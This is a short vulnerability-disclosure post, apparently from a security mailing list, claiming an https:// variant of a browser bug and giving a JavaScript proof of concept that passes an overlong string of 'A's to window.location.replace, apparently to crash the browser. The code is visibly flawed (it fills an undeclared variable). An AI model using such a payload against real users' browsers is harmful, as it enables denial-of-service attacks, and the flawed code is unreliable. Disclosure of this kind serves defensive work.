hi is very curious vulnerability... I think I found a variant of this vulnerability, if using another protocol (eg: https ://). I am sure that is an variant because providing other protocolos (eg: http://) does not work, nor the exceptions that are generated are equal to fail. ------------------ POC --------------------- <script> var evil = "https://"; for(var i = 0; i<14000; i++) code += "A"; window.location.replace(code); </script> ------------------------------------------ Juan Pablo Lopez Yacubian